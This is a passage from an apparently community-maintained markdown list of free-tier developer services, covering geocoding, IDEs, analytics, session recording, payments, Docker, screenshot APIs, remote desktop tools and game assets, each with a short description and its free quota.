* [developers.arcgis.com](https://developers.arcgis.com) — APIs and SDKs for maps, geospatial data storage, analysis, geocoding, routing, and more across web, desktop, and mobile. 2,000,000 free basemap tiles, 20,000 non-stored geocodes, 20,000 simple routes, 5,000 drive time calculations, 5GB free tile+data storage per month.
* [Foursquare](https://developer.foursquare.com/) - Location discovery, venue search, and context-aware content from Places API and Pilgrim SDK.
* [geoapify.com](https://www.geoapify.com/) - Vector and raster map tiles, geocoding, places, routing, isolines APIs. 3000 free requests / day.
* [geocod.io](https://www.geocod.io/) — Geocoding via API or CSV Upload. 2,500 free queries/day.
* [geocodify.com](https://geocodify.com/) — Geocoding and Geoparsing via API or CSV Upload. 10k free queries/month.
* [geojs.io](https://www.geojs.io/) - Highly available REST/JSON/JSONP IP Geolocation lookup API.
* [giscloud.com](https://www.giscloud.com/) — Visualize, analyze and share geo data online.
* [graphhopper.com](https://www.graphhopper.com/) A free package for developers is offered for Routing, Route Optimization, Distance Matrix, Geocoding, Map Matching.
* [here](https://developer.here.com/) — APIs and SDKs for maps and location-aware apps. 250k transactions/month for free.
* [locationiq.com](https://locationiq.com/) — Geocoding, Maps, and Routing APIs. 5000 requests/day for free.
* [mapbox.com](https://www.mapbox.com/) — Maps, geospatial services and SDKs for displaying map data.
* [maptiler.com](https://www.maptiler.com/cloud/) — Vector maps, map services and SDKs for map visualisation. Free vector tiles with weekly update and four map styles.
* [nextbillion.ai](https://nextbillion.ai/) - Maps related services: Geocoding, Navigation (Direction, Routing, Route Optimization, Distance Matrix), Maps SDK (Vector, Static, Mobile SDK). [Free with specified quota](https://nextbillion.ai/pricing) for each services.
* [opencagedata.com](https://opencagedata.com) — Geocoding API that aggregates OpenStreetMap and other open geo sources. 2,500 free queries/day.
* [osmnames](https://osmnames.org/) — Geocoding, search results ranked by the popularity of related Wikipedia page.
* [positionstack](https://positionstack.com/) - Free geocoding for global places and coordinates. 25.000 Requests per month for personal use.
* [stadiamaps.com](https://stadiamaps.com/) — Map tiles, routing, navigation, and other geospatial APIs. 2,500 free map views and API requests / day for non-commercial usage and testing.
* [maps.stamen.com](http://maps.stamen.com/) - Free map tiles and tile hosting.
* [ipstack](https://ipstack.com/) - Locate and identify Website Visitors by IP Address
* [Geokeo api](https://geokeo.com) - Geocoding api with language correction and more. Worldwide coverage. 2,500 free daily queries
**[⬆️ Back to Top](#table-of-contents)**
## Package Build System
* [build.opensuse.org](https://build.opensuse.org/) — Package build service for multiple distros (SUSE, EL, Fedora, Debian etc).
* [copr.fedorainfracloud.org](https://copr.fedorainfracloud.org) — Mock-based RPM build service for Fedora and EL.
* [help.launchpad.net](https://help.launchpad.net/Packaging) — Ubuntu and Debian build service.
**[⬆️ Back to Top](#table-of-contents)**
## IDE and Code Editing
* [3v4l](https://3v4l.org/) - Free online PHP shell and snippet sharing site, runs your code in 300+ PHP versions
* [Android Studio](https://d.android.com/studio) — Android Studio provides the fastest tools for building apps on every type of Android device. Open Source IDE, free for everyone and the best to develop Android apps. Available for Windows,Mac,Linux and even ChromeOS!
* [Apache Netbeans](https://netbeans.apache.org/) — Development Environment, Tooling Platform and Application Framework.
* [apiary.io](https://apiary.io/) — Collaborative design API with instant API mock and generated documentation (Free for unlimited API blueprints and unlimited user with one admin account and hosted documentation).
* [Binder](https://mybinder.org/) - Turn a Git repo into a collection of interactive notebooks. It is a free, public service.
* [BlueJ](https://bluej.org) — A free Java Development Environment designed for beginners, used by millions worldwide. Powered by Oracle & simple GUI to help beginners.
* [Bootify.io](https://bootify.io/) - Spring Boot app generator with custom database and REST API.
* [cacher.io](https://www.cacher.io) — Code snippet organizer with labels and support for 100+ programming languages.
* [Code::Blocks](https://codeblocks.org) — Free Fortran & C/C++ IDE. Open Source and runs on Windows,macOS & Linux.
* [codiga.io](https://codiga.io/) — Coding Assistant that lets you search, define and reuse code snippets directly in your IDE. Free for individual and small organizations.
* [codesnip.com.br](https://codesnip.com.br) — Simple code snippets manager with categories, search and tags. free and unlimited.
* [cocalc.com](https://cocalc.com/) — (formerly SageMathCloud at cloud.sagemath.com) — Collaborative calculation in the cloud. Browser access to full Ubuntu with built-in collaboration and lots of free software for mathematics, science, data science, preinstalled: Python, LaTeX, Jupyter Notebooks, SageMath, scikitlearn, etc.
* [code.cs50.io](https://code.cs50.io/) - Visual Studio Code for CS50 is a web app at code.cs50.io that adapts GitHub Codespaces for students and teachers.
* [codepen.io](https://codepen.io/) — CodePen is a playground for the front end side of the web.
* [codesandbox.io](https://codesandbox.io/) — Online Playground for React, Vue, Angular, Preact and more.
* [Components.studio](https://webcomponents.dev/) - Code components in isolation, visualize them in stories, test them and publish them on npm.
* [Eclipse Che](https://www.eclipse.org/che/) - Web based and Kubernetes-Native IDE for Developer Teams with multi-language support. Open Source and community driven. A online instance hosted by Red Hat is available at [workspaces.openshift.com](https://workspaces.openshift.com/).
* [fakejson.com](https://fakejson.com/) — FakeJSON helps you quickly generate fake data using its API. Make an API request describing what you want and how you want it. The API returns it all in JSON. Speed up the go to market process for ideas and fake it till you make it.
* [GitPod](https://www.gitpod.io) — Instant, ready-to-code dev environments for GitHub projects. Free tier includes 50 hours/month.
* [ide.goorm.io](https://ide.goorm.io) goormIDE is full IDE on cloud. multi-language support, linux-based container via the fully-featured web-based terminal, port forwarding, custom url, real-time collaboration and chat, share link, Git/Subversion support. There are many more features (free tier includes 1GB RAM and 10GB Storage per container, 5 Container slot).
* [JDoodle](https://www.jdoodle.com) — Online compiler and editor for more than 60 programming languages with a free plan for REST API code compiling up to 200 credits per day.
* [jetbrains.com](https://jetbrains.com/products.html) — Productivity tools, IDEs and deploy tools (aka [IntelliJ IDEA](https://www.jetbrains.com/idea/), [PyCharm](https://www.jetbrains.com/pycharm/), etc). Free license for students, teachers, Open Source and user groups.
* [jsbin.com](https://jsbin.com) — JS Bin is another playground and code sharing site of front end web (HTML, CSS and JavaScript. Also supports Markdown, Jade and Sass).
* [jsfiddle.net](https://jsfiddle.net/) — JS Fiddle is a playground and code sharing site of front end web, support collaboration as well.
* [JSONPlaceholder](https://jsonplaceholder.typicode.com/) Some REST API endpoints that return some fake data in JSON format. The source code is also available if you would like to run the server locally.
* [Lazarus](https://www.lazarus-ide.org/) — Lazarus is a Delphi compatible cross-platform IDE for Rapid Application Development.
* [micro-jaymock](https://micro-jaymock.now.sh/) - Tiny API mocking microservice for generating fake JSON data.
* [mockable.io](https://www.mockable.io/) — Mockable is a simple configurable service to mock out RESTful API or SOAP web-services. This online service allows you to quickly define REST API or SOAP endpoints and have them return JSON or XML data.
* [mockaroo](https://mockaroo.com/) — Mockaroo lets you generate realistic test data in CSV, JSON, SQL, and Excel formats. You can also create mocks for back-end API.
* [Mocklets](https://mocklets.com) - a HTTP-based mock API simulator, which helps simulate APIs for faster parallel development and more comprehensive testing, with lifetime free tier.
* [Paiza](https://paiza.cloud/en/) — Develop Web apps in Browser without having the need to setup anything. Free Plan offers 1 server with 24 hours lifetime and 4 hours running time per day with 2 CPU cores, 2 GB RAM and 1 GB storage.
* [Prepros](https://prepros.io/) - Prepros can compile Sass, Less, Stylus, Pug/Jade, Haml, Slim, CoffeeScript and TypeScript out of the box, reloads your browsers and makes it really easy to develop & test your websites so you can focus on making them perfect. You can also add your own tools with just a few clicks.
* [Replit](https://replit.com/) — A cloud coding environment for various program languages.
* [SoloLearn](https://code.sololearn.com) — A cloud programming playground well-suited for running code snippets. Supports various programming languages. No registration required for running code but required when you need to save code on their platform. Also offers free courses for begginers and intermediate level coders.
* [stackblitz.com](https://stackblitz.com/) — Online/Cloud Code IDE to create, edit, & deploy fullstack apps. Support any popular NodeJs based frontend & backend frameworks. Shortlink to create new project: [https://node.new](https://node.new).
* [Visual Studio Code](https://code.visualstudio.com/) - Code editor redefined and optimized for building and debugging modern web and cloud applications. Developed by Microsoft.
* [Desktop](https://code.visualstudio.com) - (Windows, macOS and Linux).
* [Online](https://vscode.dev) - (Browser)
* [Visual Studio Community](https://visualstudio.microsoft.com/vs/community/) — Fully-featured IDE with thousands of extensions, cross-platform app development (Microsoft extensions available for download for iOS and Android), desktop, web and cloud development, multi-language support (C#, C++, JavaScript, Python, PHP and more).
* [VSCodium](https://vscodium.com/) - Community-driven, without telemetry/tracking, and freely-licensed binary distribution of Microsoft’s editor VSCode
* [wakatime.com](https://wakatime.com/) — Quantified self-metrics about your coding activity, using text editor plugins, limited plan for free.
* [WebComponents.dev](https://webcomponents.dev/) — In-browser IDE to code web components in isolation with 58 templates available, supporting stories and tests.
* [PHPSandbox](https://phpsandbox.io/) — Online developement environment for PHP.
**[⬆️ Back to Top](#table-of-contents)**
## Analytics, Events and Statistics
* [Hightouch](https://hightouch.com/) - Hightouch is a Reverse ETL platform that helps you sync your customer data from your data warehouse to your CRM, marketing, and support tools. Free tier that offers you one destination to sync data to.
* [Avo](https://avo.app/) — Simplified analytics release workflow. Single-source-of-truth tracking plan, type safe analytics tracking library, in-app debuggers, data observability to catch all data issues before you release. Free for 2 workspace members and 1 hour data observability lookback.
* [Branch](https://branch.io) — Mobile Analytics Platform. Free Tier offers upto 10K Mobile App Users with deep-linking & other services.
* [Cauldron](https://cauldron.io) — Analytics open source solution that allows users to aggregate information from multiple collaboration platforms as different types of data sources (Git, Github, Gitlab...). Free tier includes unlimited number of reports.
* [Census](https://www.getcensus.com/) — Reverse ETL & Operational Analytics Platform. Sync 10 fields from your data warehouse to 60+ SaaS like Salesforce, Zendesk, or Amplitude.
* [Clicky](https://clicky.com) — Website Analytics Platform. Free Plan for 1 website with 3000 views analytics.
* [Databox](https://databox.com) — Business Insights & Analytics by combining other analytics & BI platforms. Free Plan offers 3 users, dashboards & data sources. 11M historical data records.
* [indicative.com](https://indicative.com/) — Customer analytics platform to optimize customer engagement, increase conversion, and improve retention. Free up to 25M events/month, 6 months data retention.
* [Panelbear.com](https://panelbear.com/) — Blazingly fast and private, free tier includes 5,000 pageviews per month for unlimited websites
* [Hitsteps.com](https://hitsteps.com/) — 2,000 pageviews per month for 1 website
* [amplitude.com](https://amplitude.com/) — 1 million monthly events, up to 2 apps
* [Flagsmith](https://flagsmith.com) - Release features with confidence; manage feature flags across web, mobile, and server side applications. Use our hosted API, deploy to your own private cloud, or run on-premise
* [GoatCounter](https://www.goatcounter.com/) — GoatCounter is an open source web analytics platform available as a hosted service (free for non-commercial use) or self-hosted app. It aims to offer easy to use and meaningful privacy-friendly web analytics as an alternative to Google Analytics or Matomo. Free tier is for non-commerical use and includes unlimited number of sites, 6 months of data retention, and 100k pageviews/month.
* [Google Analytics](https://analytics.google.com/) — Google Analytics
* [Expensify](https://www.expensify.com/) — Expense reporting, free personal reporting approval workflow
* [getinsights.io](https://getinsights.io) - Privacy-focused, cookie free analytics, free for up to 5k events/month.
* [heap.io](https://heap.io) — Automatically captures every user action in iOS or web apps. Free for up to 5,000 visits/month
* [Hotjar](https://hotjar.com) — Website Analytics and Reports . Free Plan allows 2000 pageviews/day. 100 snapshots/day (max capacity: 300). 3 snapshot heatmaps which can be stored for 365 days. Unlimited Team Members.
* [Keen](https://keen.io/) — Custom Analytics for data collection, analysis and visualization. 1,000 events/month free
* [Yandex.Metrica](https://metrica.yandex.com/) — Unlimited free analytics
* [Mixpanel](https://mixpanel.com/) — 100,000 monthly tracked users, unlimited data history and seats, US or EU data residency
* [Moesif](https://www.moesif.com) — API analytics for REST and GraphQL. (Free up to 500,000 API calls/mo)
* [Molasses](https://www.molasses.app) - Powerful feature flags and A/B testing. Free up to 3 environments with 5 feature flags each.
* [optimizely.com](https://www.optimizely.com) — A/B Testing solution, free starter plan, 1 website, 1 iOS and 1 Android app
* [Microsoft PowerBI](https://powerbi.com) — Business Insights & Analytics by Microsoft. Free Plan offers limited use with 1 Million User licenses.
* [quantcast.com](https://www.quantcast.com/products/measure-audience-insights/) — Unlimited free analytics
* [Row Zero](https://rowzero.io) - Blazingly fast, connected spreadsheet. Connect directly to data databases, S3, and APIs. Import, analyze, graph, and share millions of rows instantly. 3 free (forever) workbooks.
* [sematext.com](https://sematext.com/cloud/) — Free for up to 50 K actions/month, 1-day data retention, unlimited dashboards, users, etc.
* [Similar Web](https://similarweb.com) — Analytics for Web & Mobile Apps. Free Plan offers 5 results per metric, 1 month of mobile app data & 3 months of website data.
* [StatCounter](https://statcounter.com/) — Website Viewer Analytics. Free plan for analytics of 500 most recent visitors.
* [Tableau Developer Program](https://www.tableau.com/developer) — Innovate, create, and make Tableau work perfectly for your organization. Free developer program gives a personal development sandbox license for Tableau Online. The version is the latest pre-release version so Data Devs can test each & every feature of this superb platform.
* [usabilityhub.com](https://usabilityhub.com/) — Test designs and mockups on real people, track visitors. Free for one user, unlimited tests
* [woopra.com](https://www.woopra.com/) — Free user analytics platform for 500K actions, 90 day data retention, 30+ one click integration.
* [counter.dev](https://counter.dev) — Web analytics made simple and therefore privacy friendly. Free or pay what you want by donation.
* [PostHog](https://posthog.com) - Full Product Analytics suite free for up to 1m tracked events per month
* [Uptrace](https://uptrace.dev) - Distributed Tracing Tool that helps developers pinpoint failures and find performance bottlenecks. Has a free plan, offers a free Personal subscription for open source projects, and has an open source version.
* [Microsoft Clarity](https://clarity.microsoft.com/) - Clarity is a free, easy-to-use tool that captures how real people actually use your site.
* [Beampipe.io](https://beampipe.io) - Beampipe is simple, privacy-focussed web analytics. free for up to 5 domains & 10k monthly page views.
* [GrowthBook](https://growthbook.io) - Open source feature flag and A/B testing provider with built-in Bayesian statistical analysis engine. Free for up to 3 users, unlimited feature flags and experiments.
* [Aptabase](https://aptabase.com) — Open Source, Privacy-Friendly and Simple Analytics for Mobile and Desktop Apps. SDKs for Swift, Kotlin, React Native, Flutter, Electron and many others. Free for up to 20.000 events per month.
**[⬆️ Back to Top](#table-of-contents)**
## Visitor Session Recording
* [Visualime.com](https://www.visualime.com/) — Free and unlimited session recordings, no traffic limits
* [Reactflow.com](https://www.reactflow.com/) — Per site: 1,000 pages views/day, 3 heatmaps, 3 widgets, free bug tracking
* [OpenReplay.com](https://www.openreplay.com) - Open-source session replay with devtools for bug reproduction, live session for real-time support, and product analytics suite. 1,000 sessions/month with access to all features and 7-day retention.
* [LogRocket.com](https://www.logrocket.com) - 1,000 sessions/month with 30 day retention, error tracking, live mode
* [FullStory.com](https://www.fullstory.com) — 1,000 sessions/month with 1 month data retention and 3 user seats. More information [here](https://help.fullstory.com/hc/en-us/articles/360020623354-FullStory-Free-Edition).
* [hotjar.com](https://www.hotjar.com/) — Per site: 1,050 pages views/month, unlimited heatmaps, data stored for 3 months,...
* [inspectlet.com](https://www.inspectlet.com/) — 2,500 sessions/month free for 1 website
* [Microsoft Clarity](https://clarity.microsoft.com/) - Session recording completely free with "no traffic limits", no project limits, and no sampling
* [mouseflow.com](https://mouseflow.com/) — 500 sessions/month free for 1 website
* [mousestats.com](https://www.mousestats.com/) — 100 sessions/month free for 1 website
* [smartlook.com](https://www.smartlook.com/) — free packages for web and mobile apps (1500 sessions/month), 3 heatmaps, 1 funnel, 1-month data history
* [usersurge.com](https://www.usersurge.com/) — 250K sessions per month for individuals.
* [howuku.com](https://howuku.com) — Track user interaction, engagement, and event. Free for up to 5,000 visits/month
* [UXtweak.com](https://www.uxtweak.com/) — Record and watch how visitors use your web site or app. Free unlimited time for small projects
**[⬆️ Back to Top](#table-of-contents)**
## International Mobile Number Verification API and SDK
* [Cognalys](https://cognalys.com/) — Freemium mobile number verification through an innovative and reliable method than using SMS gateway. Free 10 tries and 15 verifications/day
* [numverify](https://numverify.com/) — Global phone number validation and lookup JSON API. 250 API requests/month
* [veriphone](https://veriphone.io/) — Global phone number verification in a free, fast, reliable JSON API. 1000 requests/month
**[⬆️ Back to Top](#table-of-contents)**
## Payment and Billing Integration
* [Adapty.io](https://adapty.io/) – One-stop solution with open-source SDK for mobile in-app subscriptions integration to iOS, Android, React Native, Flutter, Unity, or web app. Free up to $10k monthly revenue.
* [CoinMarketCap](https://coinmarketcap.com/api/) — Provides cryptocurrency market data including latest crypto and fiat currency exchange rates. Free tier offers 10K call credits/month.
* [CurrencyFreaks](https://currencyfreaks.com/) — Provides current and historical currency exchange rates. Free DEVELOPER plan available with 1000 requests/month.
* [CoinGecko](https://www.coingecko.com/en/api) — Provides cryptocurrency market data including latest crypto exchange rates and historical data. Free tier requires attribution.
* [CurrencyApi](https://currencyapi.net/) — Live Currency Rates for Physical and Crypto currencies, delivered in JSON and XML. Free tier offers 1,250 API requests/month.
* [currencylayer](https://currencylayer.com/) — Reliable Exchange Rates and Currency Conversion for your Business, 1,000 API requests/month free
* [currencystack.io](https://currencystack.io/) — Production-ready real-time exchange rates for 154 currencies.
* [exchangerate-api.com](https://www.exchangerate-api.com) - An easy to use currency conversion JSON API. Free tier with no request limit.
* [FraudLabsPRO](https://www.fraudlabspro.com) — Help merchants to prevent payment fraud and chargebacks. Free Micro Plan available with 500 queries/month.
* [MailPopin](https://mailpop.in) - Get the most of your Stripe notifications with contextualized information.
* [Nami ML](https://www.namiml.com/) - Complete platform for in-app purchases and subscriptions on iOS and Android, including no-code paywalls, CRM, and analytics. Free for all base features to run an IAP business.
* [RevenueCat](https://www.revenuecat.com/) — Hosted backend for in-app purchases and subscriptions (iOS and Android). Free up to $10k/mo in tracked revenue.
* [vatlayer](https://vatlayer.com/) — Instant VAT number validation and EU VAT rates API, free 100 API requests/month
* [Freecurrencyapi.net](https://freecurrencyapi.net/) — Free currency conversion and exchange rate data API. 10 requests/hour without an API key, 50 000 requests per month when you register for free.
**[⬆️ Back to Top](#table-of-contents)**
## Docker Related
* [canister.io](https://canister.io/) — 20 free private repositories for developers, 30 free private repositories for teams to build and store Docker images
* [Container Registry Service](https://container-registry.com/) - Harbor based Container Management Solution. Free tier offers 1 GB storage for private repositories.
* [Docker Hub](https://hub.docker.com) — One free private repository and unlimited public repositories to build and store Docker images
* [Play with Docker](https://labs.play-with-docker.com/) — A simple, interactive and fun playground to learn Docker.
* [quay.io](https://quay.io/) — Build and store container images with unlimited free public repositories
* [Platform9](https://platform9.com/) - Managed Kubernetes plane. Free plan offers management capabilities up to 3 clusters & 20 nodes. Note: you must provide cluster infrastructure by yourself.
**[⬆️ Back to Top](#table-of-contents)**
## Vagrant Related
* [Vagrant Cloud](https://app.vagrantup.com) - HashiCorp Vagrant Cloud. Vagrant box hosting.
* [Vagrantbox.es](https://www.vagrantbox.es/) — An alternative public box index
**[⬆️ Back to Top](#table-of-contents)**
## Dev Blogging Sites
* [BearBlog](https://bearblog.dev/) - Minimalist, and Markdown powered blog and website builder.
* [Dev.to](https://dev.to/) - Where programmers share ideas and help each other grow.
* [Hashnode](https://hashnode.com/) — Hassle-free Blogging Software for Developers!.
* [Medium](https://medium.com/) — Get smarter about what matters to you.
* [AyeDot](https://ayedot.com/) — Share your ideas, knowledge and stories with the world for Free, in form of Modern multimedia short-format Miniblogs.
**[⬆️ Back to Top](#table-of-contents)**
## Commenting Platforms
* [Staticman](https://staticman.net/) - Staticman is a Node.js application that receives user-generated content and uploads it as data files to a GitHub and/or GitLab repository, using Pull Requests.
* [GraphComment](https://graphcomment.com/) - GraphComment is a comments platform that helps you build an active community from website’s audience.
* [Utterances](https://utteranc.es/) - A lightweight comments widget built on GitHub issues. Use GitHub issues for blog comments, wiki pages and more!
* [Disqus](https://disqus.com/) - Disqus is a networked community platform used by hundreds of thousands of sites all over the web.
**[⬆️ Back to Top](#table-of-contents)**
## Screenshot APIs
* [ApiFlash](https://apiflash.com) — A screenshot API based on Aws Lambda and Chrome. Handles full page, capture timing, viewport dimensions, ...
* [microlink.io](https://microlink.io/) – It turns any website into data such as metatags normalization, beauty link previews, scraping capabilities or screenshots as a service. 250 reqs/day every day free.
* [ScreenshotAPI.net](https://screenshotapi.net/) - Screenshot API use one simple API call to generate screenshots of any website. Build to scale and hosted on Google Cloud. Offers 100 free screenshots per month.
* [screenshotlayer.com](https://screenshotlayer.com/) — Capture highly customizable snapshots of any website. Free 100 snapshots/month
* [screenshotmachine.com](https://www.screenshotmachine.com/) — Capture 100 snapshots/month, png, gif and jpg, including full-length captures, not only home page
* [PhantomJsCloud](https://PhantomJsCloud.com) — Browser automation and page rendering. Free Tier offers up to 500 pages/day. Free Tier since 2017.
* [Webshrinker.com](https://webshrinker.com) — Web Shrinker provides web site screenshot and domain intelligence API services. Free 100 requests/month.
* [Httpic.com](https://httpic.com) — Turn any website into jpg, png or pdf. Capture full page screenshots, adjust viewport, inject custom code. Free tier at 150 images / month.
* [Screenshots](https://screenshotson.click) — Your API for Screenshots. With highly customizable options for capture. Free 100 screenshots/month.
**[⬆️ Back to Top](#table-of-contents)**
## Flutter Related and Building IOS Apps without Mac
* [FlutLab](https://flutlab.io/) - FlutLab is a modern Flutter online IDE and the best place to create, debug, and build cross-platform projects. Build iOS (Without Mac) and Android apps with Flutter.
* [CodeMagic](https://codemagic.io/) - Codemagic is a fully hosted and managed CI/CD for mobile apps. You can build, test, deploy with a GUI based CI/CD tool. Free tier offers 500 free minutes/month, and Mac Mini instance with 2.3Ghz and 8gb of RAM.
* [FlutterFlow](https://flutterflow.io/) - FlutterFlow is a browser-based drag-and-drop interface to build mobile app using flutter.
**[⬆️ Back to Top](#table-of-contents)**
## Browser based hardware emulation written in Javascript
* [JsLinux](https://bellard.org/jslinux) — a really fast x86 virtual machine capable of running Linux and Windows 2k.
* [Jor1k](https://s-macke.github.io/jor1k/demos/main.html) — a OpenRISC virtual machine capable of running Linux with network support.
* [v86](https://copy.sh/v86) — a x86 virtual machine capable of running Linux and other OS directly into the browser.
**[⬆️ Back to Top](#table-of-contents)**
## Privacy Management
* [Bearer](https://www.bearer.sh/) - Helps implement privacy by design via audits and continuous workflows so that organizations comply with GDPR and other regulations. Free tier is limited to smaller teams and SaaS version only.
* [Osano](https://www.osano.com/) - Consent management and compliance platform with everything from GDPR representation to cookie banners. Free tier offers basic features.
* [Iubenda](https://www.iubenda.com/) - Privacy and cookie policies along with consent management. Free tier offers limited privacy and cookie policy as well as cookie banners.
* [Cookiefirst](https://cookiefirst.com/) - Cookie banners, auditing, and multi-language consent management solution. Free tier offers a one-time scan and a single banner.
* [Ketch](https://www.ketch.com/) - Consent management and privacy framework tool. Free tier offers most features with a limited visitor count.
**[⬆️ Back to Top](#table-of-contents)**
## Miscellaneous
* [BinShare.net](https://binshare.net) - Create & share code or binaries. Avaliable to share as an beautiful image e.g. for Twitter / Facebook post or as a link e.g for chats or forums.
* [Blynk](https://blynk.io) — A SaaS with API to control, build & evaluate IoT devices. Free Developer Plan with 5 devices,Free Cloud & data storage. Mobile Apps also available.
* [Bricks Note Calculator](https://free.getbricks.app/) - a note-taking app (PWA) with a powerful built-in multiline calculator.
* [Carbon.now.sh](https://carbon.now.sh) - create and share code snippet in an aesthetic screenshot-like image format. Usually used to aesthetically share/show-off code snippet on Twitter or blog posts.
* [Code Time](https://www.software.com/code-time) - an extension for time-tracking and coding metrics in VS Code, Atom, IntelliJ, Sublime Text, and more.
* [Codepng](https://www.codepng.app) - Create awesome snapshots from your source code that you can share on social media.
* [CodeToImage](https://codetoimage.com/) - Create screenshots of code or text to share on social media.
* [ConfigCat](https://configcat.com) - ConfigCat is a developer-centric feature flag service with unlimited team size, awesome support, and a reasonable price tag. Free plan up to 10 flags, 2 environments, 1 product and 5 Million requests per month.
* [Cronhooks](https://cronhooks.io/) - Schedule on time or recurring webhooks. Free plan allows 5 ad-hoc schedules.
* [Cronit](https://cronit.app) - Online cronjobs service. Free plan includes 100 job execution per month
* [datelist.io](https://datelist.io) - Online booking / appointment scheduling system. Free up to 5 bookings per month, includes 1 calendar
* [docsapp.io](https://www.docsapp.io/) — Easiest way to publish documentation, free for Open Source
* [Domain Forward](https://domain-forward.com/) - One simple tool to forward any URL or Domain. Free up to 5 domains and 200k requests per month.
* [Elementor](https://elementor.com) — WordPress website builder. Free plan available with 40+ Basic Widgets.
* [Form2Channel](https://form2channel.com) — Place a static html form on your website and receive submissions directly to Google Sheets, Email, Slack, Telegram or Http. No coding necessary.
* [Format Express](https://www.format-express.dev) - Instant online formatter for JSON / XML / SQL.
* [FOSSA](https://fossa.com/) - Scalable, end-to-end management for third-party code, license compliance and vulnerabilities.
* [fullcontact.com](https://www.fullcontact.com/developer/pricing/) — Help your users know more about their contacts by adding social profile into your app. 500 free Person API matches/month
* [Hook Relay](https://www.hookrelay.dev/) - Add webhook support to your app without the hassles: done-for-you queueing, retries with backoff, and logging. The free plan has 100 deliveries per day, 14-day retention, and 3 hook endpoints.
* [http2.pro](https://http2.pro) — HTTP/2 protocol readiness test and client HTTP/2 support detection API.
* [kandi](https://kandi.openweaver.com/) — Jumpstart Application Development: build custom functions, use cases and complete application faster through code snippet and open source library reuse.
* [Base64 decoder/encoder](https://devpal.co/base64-decode/) — Online free tool for decoding & encoding data.
* [newreleases.io](https://newreleases.io/) - Receive notifications on email, Slack, Telegram, Discord and custom webhooks for new releases from GitHub, GitLab, Bitbucket, Python PyPI, Java Maven, Node.js NPM, Node.js Yarn, Ruby Gems, PHP Packagist, .NET NuGet, Rust Cargo and Docker Hub.
* [OnlineExifViewer](https://onlineexifviewer.com/) — View EXIF data online instantly for a photo including GPS location and metadata.
* [PDFMonkey](https://www.pdfmonkey.io/) — Manage PDF templates in a dashboard, call the API with dynamic data, download your PDF. Offers 300 free documents per month.
* [Pika Code Screenshots](https://pika.style/templates/code-image) — Create beautiful, customizable screenshots from code snippets and VSCode using extension.
* [QuickType.io](https://quicktype.io/) - Quickly auto generate models/class/type/interface and serializers from JSON, schema, and GraphQL for working with data quickly & safely in any programming language. Convert JSON into gorgeous, typesafe code in any language.
* [RandomKeygen](https://randomkeygen.com/) - A free mobile-friendly tool offers a variety of randomly generated keys and passwords you can use to secure any application, service or device.
* [ray.so](https://ray.so/) - Create beautiful images of your code snippets.
* [readme.com](https://readme.com/) — Beautiful documentation made easy, free for Open Source.
* [redirection.io](https://redirection.io/) — SaaS tool for managing HTTP redirections for businesses, marketing and SEO.
* [redirect.pizza](https://redirect.pizza/) - Easily manage redirects with HTTPS support. Free plan includes 10 sources and 100.000 hits per month.
* [ReqBin](https://www.reqbin.com/) — Post HTTP Requests Online. Popular Request Methods include GET, POST, PUT, DELETE, and HEAD. Supports Headers and Token Authentication. Includes a basic login system for saving your requests.
* [Smartcar API](https://smartcar.com) - An API for cars to locate, get fuel tank, battery levels, odometer, unlock/lock doors, etc.
* [snappify](https://snappify.com) - Enables developers to create stunning visuals. From beautiful code snippets to fully fletched technical presentations. The free plan includes up to 3 snaps at once with unlimited downloads and 5 AI-powered code explanations per month.
* [Sunrise and Sunset](https://sunrisesunset.io/api/) - Get sunrise and sunset times for a given longitude and latitude.
* [superfeedr.com](https://superfeedr.com/) — Real-time PubSubHubbub compliant feeds, export, analytics. Free with less customization
* [SurveyMonkey.com](https://www.surveymonkey.com) — Create online surveys. Analyze the results online. Free plan allows only 10 questions and 100 responses per survey.
* [Tiledesk](https://tiledesk.com) - Create chatbots and conversational apps. Bring them omnichannel: from your website (live chat widget) to WhatsApp. Free plan with unlimited chatbots.
* [Versionfeeds](https://versionfeeds.com) — Custom RSS feeds for releases of your favorite software. Have the latest versions of your programming languages, libraries or loved tools in one feed. (First 3 feeds are free)
* [videoinu](https://videoinu.com) — Create and edit screen recordings and other videos online.
**[⬆️ Back to Top](#table-of-contents)**
## Remote Desktop Tools
* [Getscreen.me](https://getscreen.me) — Free for 2 devices, no limits on the number and duration of sessions
* [Apache Guacamole™](https://guacamole.apache.org/) — Open source clientless remote desktop gateway
* [RemSupp](https://remsupp.com) — On-demand support and permanent access to devices (2 sessions/day for free)
* [RustDesk](https://rustdesk.com/) - Open source virtual / remote desktop infrastructure for everyone!
**[⬆️ Back to Top](#table-of-contents)**
## Game Development
* [itch.io](https://itch.io/game-assets) — Free/Paid assets like sprites, tile sets, character packs, ...
* [Gamefresco.com](https://gamefresco.com/) — Discover, collect and share free game assets from game artists everywhere.
* [GameDevMarket](https://gamedevmarket.net) — Free/Paid assets like 2D, 3D, Audio, GUI.
* [OpenGameArt](https://opengameart.org) — OpenSource Game Assets like music, sounds, sprites, gifs, ...
* [CraftPix](https://craftpix.net) — Free/Paid assets like 2D, 3D, Audio, GUI, backgrounds, icons, tile sets, game kits.
* [Game Icons](https://game-icons.net/) - Free styleable SVG/PNG icons provided under CC-BY license.
* [LoSpec](https://lospec.com/) — Online tools for creating pixel art and other restrictive digital art, lots of tutorials/pallet list available to choose for your games
* [ArtStation](https://www.artstation.com/) - MarketPlace for Free/Paid 2D, 3D assets & audios, icons, tile sets, game kits,..., Also, It can be used for showcasing your art portfolio.
* [Rive](https://rive.app/community/) - Community assets as well as create your own game assets using its free plan.
* [Poly Pizza](https://poly.pizza/) - Free low poly 3D assets
* [3Dassets.one](https://3dassets.one/) - Over 8,000 free/paid 3D models, and PBR materials for making textures.
* [3DModelsCC0](https://www.3dmodelscc0.com/) - Library of public domain 3D models made for game development.
* [Kenney](https://www.kenney.nl/assets/) - Free (CC0 1.0 Universal licensed) 2D, 3D, Audio, and UI game assets.
* [Poliigon](https://www.poliigon.com/) - Free and paid textures (with variable resolution), models, HDRIs, and brushes. Offers free plugins to export to software like Blender.
**[⬆️ Back to Top](#table-of-contents)**
## Other Free Resources
* [ElevateAI](https://www.elevateai.com) - Get up to 200 hours of audio transcription for free every month.
* [get.localhost.direct](https://get.localhost.direct) — A better `*.localhost.direct` Wildcard public CA signed SSL cert for localhost development with sub-domain support
* [Framacloud](https://degooglisons-internet.org/en/list/) — A list of Free/Libre Open Source Software and SaaS by the French non-profit [Framasoft](https://framasoft.org/en/).
* [github.com — FOSS for Dev](https://github.com/tvvocold/FOSS-for-Dev) — A hub of free and Open Source software for developers.
* [GitHub Education](https://education.github.com/pack) — Collection of free services for students. Registration required.
